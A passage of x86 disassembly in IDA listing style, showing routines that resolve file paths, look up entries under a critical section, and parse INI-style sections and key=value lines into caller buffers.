[ebp+var_3C] push dword ptr [eax] push [ebp+var_28] call sub_4FC730 add esp, 0Ch mov [ebp+var_40], eax cmp [ebp+var_40], 0 jnz short loc_50173C mov eax, [ebp+var_3C] mov eax, [eax] mov ecx, [ebp+var_34] movsx eax, byte ptr [eax+ecx] test eax, eax jz short loc_50171C mov eax, [ebp+var_3C] mov eax, [eax] mov ecx, [ebp+var_34] movsx eax, byte ptr [eax+ecx] cmp eax, 5Ch jnz short loc_501733 loc_50171C: ; CODE XREF: sub_50153F+1CAj mov eax, [ebp+var_44] dec eax shl eax, 4 mov ecx, ds:dword_511908 mov ecx, [ecx+8] add ecx, eax mov [ebp+var_30], ecx jmp short loc_501757 ; --------------------------------------------------------------------------- loc_501733: ; CODE XREF: sub_50153F+1DBj mov eax, [ebp+var_44] dec eax mov [ebp+var_2C], eax jmp short loc_501752 ; --------------------------------------------------------------------------- loc_50173C: ; CODE XREF: sub_50153F+1BAj cmp [ebp+var_40], 0 jle short loc_50174B mov eax, [ebp+var_44] inc eax mov [ebp+var_38], eax jmp short loc_501752 ; --------------------------------------------------------------------------- loc_50174B: ; CODE XREF: sub_50153F+201j mov eax, [ebp+var_44] dec eax mov [ebp+var_2C], eax loc_501752: ; CODE XREF: sub_50153F+1FBj ; sub_50153F+20Aj jmp loc_5016B2 ; --------------------------------------------------------------------------- loc_501757: ; CODE XREF: sub_50153F+179j ; sub_50153F+1F2j cmp [ebp+var_30], 0 jz loc_501815 cmp [ebp+arg_4], 0 jz short loc_50176F mov eax, [ebp+arg_4] mov ecx, [ebp+var_30] mov [eax], ecx loc_50176F: ; CODE XREF: sub_50153F+226j mov eax, [ebp+var_30] mov eax, [eax] mov eax, [eax] mov [ebp+var_50], eax mov eax, [ebp+var_28] mov [ebp+var_54], eax loc_50177F: ; CODE XREF: sub_50153F+272j mov eax, [ebp+var_54] mov al, [eax] mov [ebp+var_55], al mov ecx, [ebp+var_50] cmp al, [ecx] jnz short loc_5017B9 cmp [ebp+var_55], 0 jz short loc_5017B3 mov eax, [ebp+var_54] mov al, [eax+1] mov [ebp+var_56], al mov ecx, [ebp+var_50] cmp al, [ecx+1] jnz short loc_5017B9 add [ebp+var_54], 2 add [ebp+var_50], 2 cmp [ebp+var_56], 0 jnz short loc_50177F loc_5017B3: ; CODE XREF: sub_50153F+253j and [ebp+var_5C], 0 jmp short loc_5017C1 ; --------------------------------------------------------------------------- loc_5017B9: ; CODE XREF: sub_50153F+24Dj ; sub_50153F+264j sbb eax, eax sbb eax, 0FFFFFFFFh mov [ebp+var_5C], eax loc_5017C1: ; CODE XREF: sub_50153F+278j mov eax, [ebp+var_5C] mov [ebp+var_60], eax cmp [ebp+var_60], 0 jnz short loc_5017D5 mov eax, [ebp+arg_8] and byte ptr [eax], 0 jmp short loc_5017DB ; --------------------------------------------------------------------------- loc_5017D5: ; CODE XREF: sub_50153F+28Cj mov eax, [ebp+arg_8] mov byte ptr [eax], 1 loc_5017DB: ; CODE XREF: sub_50153F+294j cmp [ebp+arg_C], 0 jz short loc_5017FA push 0 mov eax, ds:dword_511908 add eax, 810h push eax call sub_5092CA pop ecx pop ecx mov ecx, [ebp+arg_C] mov [ecx], eax loc_5017FA: ; CODE XREF: sub_50153F+2A0j push 0FFFFFFFFh mov eax, [ebp+var_30] mov [ebp+var_64], eax lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_64] jmp loc_5018BE ; --------------------------------------------------------------------------- loc_501815: ; CODE XREF: sub_50153F+21Cj jmp loc_5018A5 ; --------------------------------------------------------------------------- loc_50181A: ; CODE XREF: sub_50153F+11Cj ; sub_50153F+134j push [ebp+var_1C] call sub_508A16 pop ecx mov [ebp+var_48], eax cmp [ebp+var_48], 0 jz short loc_5018A5 mov eax, ds:dword_511908 mov eax, [eax+8] cmp eax, [ebp+var_48] ja short loc_5018A5 mov eax, ds:dword_511908 mov eax, [eax+0Ch] shl eax, 4 mov ecx, ds:dword_511908 mov ecx, [ecx+8] add ecx, eax cmp [ebp+var_48], ecx jnb short loc_5018A5 mov eax, [ebp+var_48] mov [ebp+var_4C], eax mov eax, [ebp+arg_8] and byte ptr [eax], 0 cmp [ebp+arg_C], 0 jz short loc_50187F push 0 mov eax, ds:dword_511908 add eax, 810h push eax call sub_5092CA pop ecx pop ecx mov ecx, [ebp+arg_C] mov [ecx], eax loc_50187F: ; CODE XREF: sub_50153F+325j cmp [ebp+arg_4], 0 jz short loc_50188D mov eax, [ebp+arg_4] mov ecx, [ebp+var_4C] mov [eax], ecx loc_50188D: ; CODE XREF: sub_50153F+344j push 0FFFFFFFFh mov eax, [ebp+var_48] mov [ebp+var_68], eax lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_68] jmp short loc_5018BE ; --------------------------------------------------------------------------- loc_5018A5: ; CODE XREF: sub_50153F+97j ; sub_50153F:loc_501815j ... or [ebp+var_4], 0FFFFFFFFh call sub_5018B0 jmp short loc_5018BC sub_50153F endp ; =============== S U B R O U T I N E ======================================= sub_5018B0 proc near ; CODE XREF: sub_50153F+36Ap ; DATA XREF: _6:0050E3E0o push offset dword_5118C8 call ds:dword_511754 ; RtlLeaveCriticalSection retn sub_5018B0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_50153F loc_5018BC: ; CODE XREF: sub_50153F+36Fj xor eax, eax loc_5018BE: ; CODE XREF: sub_50153F+3Cj ; sub_50153F+2D1j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 10h ; END OF FUNCTION CHUNK FOR sub_50153F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5018CF proc near ; CODE XREF: sub_50AAEB+16p ; sub_50AB3D+97p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h push esi push edi and [ebp+var_C], 0 and [ebp+var_8], 0 push 0 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_50153F mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz loc_5019C6 movzx eax, [ebp+var_C] test eax, eax jnz loc_5019C6 cmp [ebp+var_8], 0 jz loc_5019C6 mov eax, [ebp+var_8] mov edi, [eax+4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_10], ecx mov eax, ds:dword_511908 mov eax, [eax+0C14h] mov ecx, [ebp+var_10] lea eax, [ecx+eax+1] mov [ebp+var_14], eax mov eax, [ebp+var_14] cmp eax, [ebp+arg_8] jle short loc_50194F mov eax, [ebp+var_14] inc eax mov ecx, [ebp+arg_C] mov [ecx], eax jmp short loc_5019C1 ; --------------------------------------------------------------------------- loc_50194F: ; CODE XREF: sub_5018CF+73j mov eax, ds:dword_511908 mov ecx, [eax+0C14h] mov esi, ds:dword_511908 add esi, 10h mov edi, [ebp+arg_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+var_10] mov eax, [ebp+var_8] mov esi, [eax+4] mov eax, ds:dword_511908 mov edi, [ebp+arg_4] add edi, [eax+0C14h] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, ds:dword_511908 mov eax, [eax+0C14h] add eax, [ebp+var_10] mov ecx, [ebp+arg_4] and byte ptr [ecx+eax], 0 mov eax, ds:dword_511908 mov eax, [eax+0C14h] add eax, [ebp+var_10] mov ecx, [ebp+arg_C] mov [ecx], eax loc_5019C1: ; CODE XREF: sub_5018CF+7Ej push 1 pop eax jmp short loc_5019CE ; --------------------------------------------------------------------------- loc_5019C6: ; CODE XREF: sub_5018CF+29j ; sub_5018CF+35j ... mov eax, [ebp+arg_C] and dword ptr [eax], 0 xor eax, eax loc_5019CE: ; CODE XREF: sub_5018CF+F5j pop edi pop esi leave retn sub_5018CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5019D2 proc near ; CODE XREF: sub_50581E+3Dp ; sub_50A1C7+29p ... var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00501A9F SIZE 00000043 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E3E8 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 1Ch push ebx push esi push edi mov [ebp+var_34], edx mov [ebp+var_30], ecx push [ebp+var_34] lea eax, [ebp+var_20] push eax push 0 push [ebp+var_30] call sub_50153F mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz loc_501A9F cmp [ebp+arg_0], 0 jz short loc_501A9F mov esi, [ebp+arg_0] mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push [ebp+var_30] call sub_5092CA pop ecx pop ecx mov edx, eax mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov ebx, ecx mov edi, edx mov edx, edi or ecx, 0FFFFFFFFh xor eax, eax repne scasb dec edi mov ecx, ebx shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov [ebp+var_24], edx and [ebp+var_4], 0 push [ebp+var_34] lea eax, [ebp+var_20] push eax push 0 push [ebp+var_24] call sub_50153F mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_501A8F jmp short loc_501A9F sub_5019D2 endp ; =============== S U B R O U T I N E ======================================= sub_501A8F proc near ; CODE XREF: sub_5019D2+B6p ; DATA XREF: _6:0050E3F0o mov eax, [ebp-24h] mov [ebp-28h], eax push dword ptr [ebp-28h] call sub_5083DD pop ecx retn sub_501A8F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5019D2 loc_501A9F: ; CODE XREF: sub_5019D2+43j ; sub_5019D2+4Dj ... cmp [ebp+var_1C], 0 jz short loc_501AB2 movzx eax, [ebp+var_20] test eax, eax jnz short loc_501AB2 mov eax, [ebp+var_1C] jmp short loc_501AD1 ; --------------------------------------------------------------------------- loc_501AB2: ; CODE XREF: sub_5019D2+D1j ; sub_5019D2+D9j cmp [ebp+var_34], 0 jz short loc_501ACF cmp [ebp+var_1C], 0 jz short loc_501ACF mov eax, [ebp+var_34] mov eax, [eax] mov [ebp+var_2C], eax push [ebp+var_2C] call sub_5083DD pop ecx loc_501ACF: ; CODE XREF: sub_5019D2+E4j ; sub_5019D2+EAj xor eax, eax loc_501AD1: ; CODE XREF: sub_5019D2+DEj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 ; END OF FUNCTION CHUNK FOR sub_5019D2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_501AE2 proc near ; CODE XREF: sub_50581E+24p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi mov [ebp+var_28], edx mov [ebp+var_24], ecx and [ebp+var_8], 0 cmp [ebp+var_24], 0 jz loc_501BBB mov eax, [ebp+var_24] movsx eax, byte ptr [eax] cmp eax, 5Ch jz loc_501BBB mov eax, [ebp+var_24] movsx eax, byte ptr [eax] cmp eax, 2Fh jz loc_501BBB mov eax, [ebp+var_24] movsx eax, byte ptr [eax+1] cmp eax, 3Ah jz loc_501BBB mov edi, [ebp+var_24] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_14], ecx mov eax, ds:dword_511908 add eax, 10h mov ecx, ds:dword_511908 mov ecx, [ecx+0C10h] sub ecx, eax mov [ebp+var_10], ecx mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov eax, [ebp+var_14] lea eax, [eax+ecx+104h] push eax call sub_50835A pop ecx mov [ebp+var_18], eax mov eax, [ebp+var_18] mov [ebp+var_8], eax mov ecx, [ebp+var_10] mov esi, ds:dword_511908 add esi, 10h mov edi, [ebp+var_8] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+var_14] inc ecx mov esi, [ebp+var_24] mov edi, [ebp+var_8] add edi, [ebp+var_10] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_8] mov [ebp+var_24], eax loc_501BBB: ; CODE XREF: sub_501AE2+17j ; sub_501AE2+26j ... push 0 lea eax, [ebp+var_C] push eax push 0 push [ebp+var_24] call sub_50153F mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_501C41 cmp [ebp+arg_0], 0 jz short loc_501C41 cmp [ebp+var_8], 0 jnz short loc_501BFB mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push [ebp+var_24] call sub_5092CA pop ecx pop ecx mov [ebp+var_8], eax loc_501BFB: ; CODE XREF: sub_501AE2+FCj mov edi, [ebp+arg_0] mov edx, [ebp+var_8] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh xor eax, eax repne scasb dec edi mov ecx, ebx shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov eax, [ebp+var_8] mov [ebp+var_24], eax push 0 lea eax, [ebp+var_C] push eax push 0 push [ebp+var_8] call sub_50153F mov [ebp+var_4], eax loc_501C41: ; CODE XREF: sub_501AE2+F0j ; sub_501AE2+F6j cmp [ebp+var_4], 0 jz short loc_501C90 movzx eax, [ebp+var_C] test eax, eax jnz short loc_501C90 cmp [ebp+var_28], 0 jz short loc_501C7C cmp [ebp+var_8], 0 jz short loc_501C63 mov eax, [ebp+var_8] mov [ebp+var_2C], eax jmp short loc_501C72 ; --------------------------------------------------------------------------- loc_501C63: ; CODE XREF: sub_501AE2+177j push 0 push [ebp+var_24] call sub_5092CA pop ecx pop ecx mov [ebp+var_2C], eax loc_501C72: ; CODE XREF: sub_501AE2+17Fj mov eax, [ebp+var_28] mov ecx, [ebp+var_2C] mov [eax], ecx jmp short loc_501C8B ; --------------------------------------------------------------------------- loc_501C7C: ; CODE XREF: sub_501AE2+171j mov eax, [ebp+var_8] mov [ebp+var_1C], eax push [ebp+var_1C] call sub_5083DD pop ecx loc_501C8B: ; CODE XREF: sub_501AE2+198j mov eax, [ebp+var_4] jmp short loc_501CA1 ; --------------------------------------------------------------------------- loc_501C90: ; CODE XREF: sub_501AE2+163j ; sub_501AE2+16Bj mov eax, [ebp+var_8] mov [ebp+var_20], eax push [ebp+var_20] call sub_5083DD pop ecx xor eax, eax loc_501CA1: ; CODE XREF: sub_501AE2+1ACj pop edi pop esi pop ebx leave retn 4 sub_501AE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_501CA8 proc near ; CODE XREF: sub_50A7AF+Ap ; sub_50A7DD+78p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], edx mov [ebp+var_4], ecx push 0 push [ebp+var_8] push 0 push [ebp+var_4] call sub_50153F leave retn sub_501CA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_501CC4 proc near ; CODE XREF: sub_50AC66+2Bp ; sub_50AD0C+42p ... var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = byte ptr 20h ; FUNCTION CHUNK AT 005021B6 SIZE 00000012 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E3F8 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 64h push ebx push esi push edi and [ebp+var_34], 0 and [ebp+var_28], 0 and [ebp+var_38], 0 and [ebp+var_20], 0 and [ebp+var_30], 0 and [ebp+var_3C], 0 and [ebp+var_24], 0 and [ebp+var_48], 0 and [ebp+var_40], 0 and [ebp+var_44], 0 and [ebp+var_4], 0 mov ecx, [ebp+arg_10] xor eax, eax mov edi, [ebp+arg_C] mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb push 0 lea eax, [ebp+var_2C] push eax push 0 push 0 push [ebp+arg_14] call sub_500346 lea eax, [ebp+var_28] push eax push [ebp+var_2C] call sub_500672 mov eax, [ebp+var_28] inc eax push eax call sub_50835A pop ecx mov [ebp+var_64], eax mov eax, [ebp+var_64] mov [ebp+var_34], eax mov ecx, [ebp+var_28] inc ecx xor eax, eax mov edi, [ebp+var_34] mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb mov eax, [ebp+var_28] mov ecx, [ebp+var_34] lea eax, [ecx+eax+1] mov [ebp+var_20], eax mov eax, [ebp+var_34] mov [ebp+var_38], eax lea eax, [ebp+var_1C] push eax push 0 push 0 push [ebp+var_28] push [ebp+var_34] push [ebp+var_2C] call sub_501177 mov eax, [ebp+var_20] mov byte ptr [eax-1], 0Ah jmp short loc_501DAD ; --------------------------------------------------------------------------- loc_501DA6: ; CODE XREF: sub_501CC4:loc_502184j mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax loc_501DAD: ; CODE XREF: sub_501CC4+E0j mov eax, [ebp+var_38] cmp eax, [ebp+var_20] jz loc_502189 loc_501DB9: ; CODE XREF: sub_501CC4+486j ; sub_501CC4+4BBj mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 3Bh jnz short loc_501DF8 loc_501DC4: ; CODE XREF: sub_501CC4+125j mov eax, [ebp+var_38] cmp eax, [ebp+var_20] jz short loc_501DEB mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_501DEB mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_501DEB mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax jmp short loc_501DC4 ; --------------------------------------------------------------------------- loc_501DEB: ; CODE XREF: sub_501CC4+106j ; sub_501CC4+111j ... mov eax, [ebp+var_38] cmp eax, [ebp+var_20] jnz short loc_501DF8 jmp loc_502189 ; --------------------------------------------------------------------------- loc_501DF8: ; CODE XREF: sub_501CC4+FEj ; sub_501CC4+12Dj mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 5Bh jnz short loc_501E16 mov eax, [ebp+var_38] inc eax mov [ebp+var_30], eax mov [ebp+var_24], 1 jmp loc_502184 ; --------------------------------------------------------------------------- loc_501E16: ; CODE XREF: sub_501CC4+13Dj mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 5Dh jnz loc_501EBF loc_501E25: ; CODE XREF: sub_501CC4+217j mov eax, [ebp+var_38] and byte ptr [eax], 0 cmp [ebp+var_24], 1 jnz loc_501EBA and [ebp+var_24], 0 cmp [ebp+arg_0], 0 jnz short loc_501EA0 mov eax, [ebp+var_44] mov [ebp+var_4C], eax mov edi, [ebp+var_30] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_54], ecx mov eax, [ebp+arg_10] dec eax dec eax sub eax, [ebp+var_4C] mov [ebp+var_50], eax cmp [ebp+var_50], 0 jle short loc_501E9E push [ebp+var_50] push [ebp+var_30] mov eax, [ebp+arg_C] add eax, [ebp+var_4C] push eax call sub_4FC770 add esp, 0Ch mov eax, [ebp+var_50] cmp eax, [ebp+var_54] jle short loc_501E8B mov eax, [ebp+var_54] mov [ebp+var_74], eax jmp short loc_501E91 ; --------------------------------------------------------------------------- loc_501E8B: ; CODE XREF: sub_501CC4+1BDj mov eax, [ebp+var_50] mov [ebp+var_74], eax loc_501E91: ; CODE XREF: sub_501CC4+1C5j mov eax, [ebp+var_74] mov ecx, [ebp+var_4C] lea eax, [ecx+eax+1] mov [ebp+var_44], eax loc_501E9E: ; CODE XREF: sub_501CC4+1A0j jmp short loc_501EBA ; --------------------------------------------------------------------------- loc_501EA0: ; CODE XREF: sub_501CC4+179j push [ebp+var_30] push [ebp+arg_0] call ds:dword_5117C0 ; lstrcmpi test eax, eax jnz short loc_501EB6 mov [ebp+var_48], 1 jmp short loc_501EBA ; --------------------------------------------------------------------------- loc_501EB6: ; CODE XREF: sub_501CC4+1EAj and [ebp+var_48], 0 loc_501EBA: ; CODE XREF: sub_501CC4+16Bj ; sub_501CC4:loc_501E9Ej ... jmp loc_502184 ; --------------------------------------------------------------------------- loc_501EBF: ; CODE XREF: sub_501CC4+15Bj mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_501ED5 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_501EEC loc_501ED5: ; CODE XREF: sub_501CC4+204j cmp [ebp+var_24], 1 jnz short loc_501EE0 jmp loc_501E25 ; --------------------------------------------------------------------------- loc_501EE0: ; CODE XREF: sub_501CC4+215j mov eax, [ebp+var_38] inc eax mov [ebp+var_3C], eax jmp loc_502184 ; --------------------------------------------------------------------------- loc_501EEC: ; CODE XREF: sub_501CC4+20Fj mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 3Dh jnz loc_502184 cmp [ebp+arg_0], 0 jz loc_502151 mov eax, [ebp+var_38] mov byte ptr [eax], 20h loc_501F0B: ; CODE XREF: sub_501CC4+266j mov eax, [ebp+var_38] movzx eax, byte ptr [eax-1] cmp eax, 9 jz short loc_501F23 mov eax, [ebp+var_38] movzx eax, byte ptr [eax-1] cmp eax, 20h jnz short loc_501F2C loc_501F23: ; CODE XREF: sub_501CC4+251j mov eax, [ebp+var_38] dec eax mov [ebp+var_38], eax jmp short loc_501F0B ; --------------------------------------------------------------------------- loc_501F2C: ; CODE XREF: sub_501CC4+25Dj mov eax, [ebp+var_38] and byte ptr [eax], 0 mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax loc_501F39: ; CODE XREF: sub_501CC4+292j mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 9 jz short loc_501F4F mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 20h jnz short loc_501F58 loc_501F4F: ; CODE XREF: sub_501CC4+27Ej mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax jmp short loc_501F39 ; --------------------------------------------------------------------------- loc_501F58: ; CODE XREF: sub_501CC4+289j cmp [ebp+arg_4], 0 jnz loc_5020A1 movzx eax, [ebp+var_48] test eax, eax jz loc_50209C mov eax, [ebp+var_44] mov [ebp+var_58], eax mov edi, [ebp+var_3C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_60], ecx mov eax, [ebp+arg_10] dec eax dec eax sub eax, [ebp+var_58] mov [ebp+var_6C], eax mov eax, [ebp+var_6C] cmp eax, [ebp+var_60] jge short loc_501F9F mov eax, [ebp+var_6C] mov [ebp+var_78], eax jmp short loc_501FA5 ; --------------------------------------------------------------------------- loc_501F9F: ; CODE XREF: sub_501CC4+2D1j mov eax, [ebp+var_60] mov [ebp+var_78], eax loc_501FA5: ; CODE XREF: sub_501CC4+2D9j mov eax, [ebp+var_78] mov [ebp+var_5C], eax cmp [ebp+var_5C], 0 jle short loc_501FD4 mov ecx, [ebp+var_5C] mov esi, [ebp+var_3C] mov edi, [ebp+arg_C] add edi, [ebp+var_58] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_58] add eax, [ebp+var_5C] mov [ebp+var_58], eax loc_501FD4: ; CODE XREF: sub_501CC4+2EBj mov eax, [ebp+var_38] mov [ebp+var_3C], eax loc_501FDA: ; CODE XREF: sub_501CC4+33Cj mov eax, [ebp+var_20] dec eax cmp [ebp+var_38], eax jz short loc_502002 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_502002 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_502002 mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax jmp short loc_501FDA ; --------------------------------------------------------------------------- loc_502002: ; CODE XREF: sub_501CC4+31Dj ; sub_501CC4+328j ... movzx eax, [ebp+arg_18] test eax, eax jz loc_50208E mov eax, [ebp+arg_10] dec eax dec eax cmp [ebp+var_58], eax jnb short loc_502028 mov eax, [ebp+arg_C] add eax, [ebp+var_58] mov byte ptr [eax], 3Dh mov eax, [ebp+var_58] inc eax mov [ebp+var_58], eax loc_502028: ; CODE XREF: sub_501CC4+352j mov eax, [ebp+var_38] and byte ptr [eax], 0 mov edi, [ebp+var_3C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_60], ecx mov eax, [ebp+arg_10] dec eax dec eax sub eax, [ebp+var_58] mov [ebp+var_70], eax mov eax, [ebp+var_70] cmp eax, [ebp+var_60] jge short loc_502059 mov eax, [ebp+var_70] mov [ebp+var_7C], eax jmp short loc_50205F ; --------------------------------------------------------------------------- loc_502059: ; CODE XREF: sub_501CC4+38Bj mov eax, [ebp+var_60] mov [ebp+var_7C], eax loc_50205F: ; CODE XREF: sub_501CC4+393j mov eax, [ebp+var_7C] mov [ebp+var_5C], eax cmp [ebp+var_5C], 0 jle short loc_50208E mov ecx, [ebp+var_5C] mov esi, [ebp+var_3C] mov edi, [ebp+arg_C] add edi, [ebp+var_58] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_58] add eax, [ebp+var_5C] mov [ebp+var_58], eax loc_50208E: ; CODE XREF: sub_501CC4+344j ; sub_501CC4+3A5j mov eax, [ebp+var_58] inc eax mov [ebp+var_44], eax mov eax, [ebp+var_38] inc eax mov [ebp+var_3C], eax loc_50209C: ; CODE XREF: sub_501CC4+2A4j jmp loc_50214F ; --------------------------------------------------------------------------- loc_5020A1: ; CODE XREF: sub_501CC4+298j push [ebp+var_3C] push [ebp+arg_4] call ds:dword_5117C0 ; lstrcmpi test eax, eax jnz short loc_50211C movzx eax, [ebp+var_48] test eax, eax jz short loc_50211C mov eax, [ebp+var_38] mov [ebp+var_3C], eax loc_5020BF: ; CODE XREF: sub_501CC4+421j mov eax, [ebp+var_20] dec eax cmp [ebp+var_38], eax jz short loc_5020E7 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_5020E7 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_5020E7 mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax jmp short loc_5020BF ; --------------------------------------------------------------------------- loc_5020E7: ; CODE XREF: sub_501CC4+402j ; sub_501CC4+40Dj ... mov eax, [ebp+var_38] and byte ptr [eax], 0 mov eax, [ebp+arg_10] dec eax push eax push [ebp+var_3C] push [ebp+arg_C] call sub_4FC770 add esp, 0Ch mov eax, [ebp+arg_C] add eax, [ebp+arg_10] and byte ptr [eax-1], 0 mov edi, [ebp+arg_C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_44], ecx jmp short loc_502189 ; --------------------------------------------------------------------------- loc_50211C: ; CODE XREF: sub_501CC4+3EBj ; sub_501CC4+3F3j ... mov eax, [ebp+var_20] dec eax cmp [ebp+var_38], eax jz short loc_502144 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_502144 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_502144 mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax jmp short loc_50211C ; --------------------------------------------------------------------------- loc_502144: ; CODE XREF: sub_501CC4+45Fj ; sub_501CC4+46Aj ... mov eax, [ebp+var_38] mov [ebp+var_3C], eax jmp loc_501DB9 ; --------------------------------------------------------------------------- loc_50214F: ; CODE XREF: sub_501CC4:loc_50209Cj jmp short loc_502184 ; --------------------------------------------------------------------------- loc_502151: ; CODE XREF: sub_501CC4+23Bj ; sub_501CC4+4B3j mov eax, [ebp+var_20] dec eax cmp [ebp+var_38], eax jz short loc_502179 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_502179 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_502179 mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax jmp short loc_502151 ; --------------------------------------------------------------------------- loc_502179: ; CODE XREF: sub_501CC4+494j ; 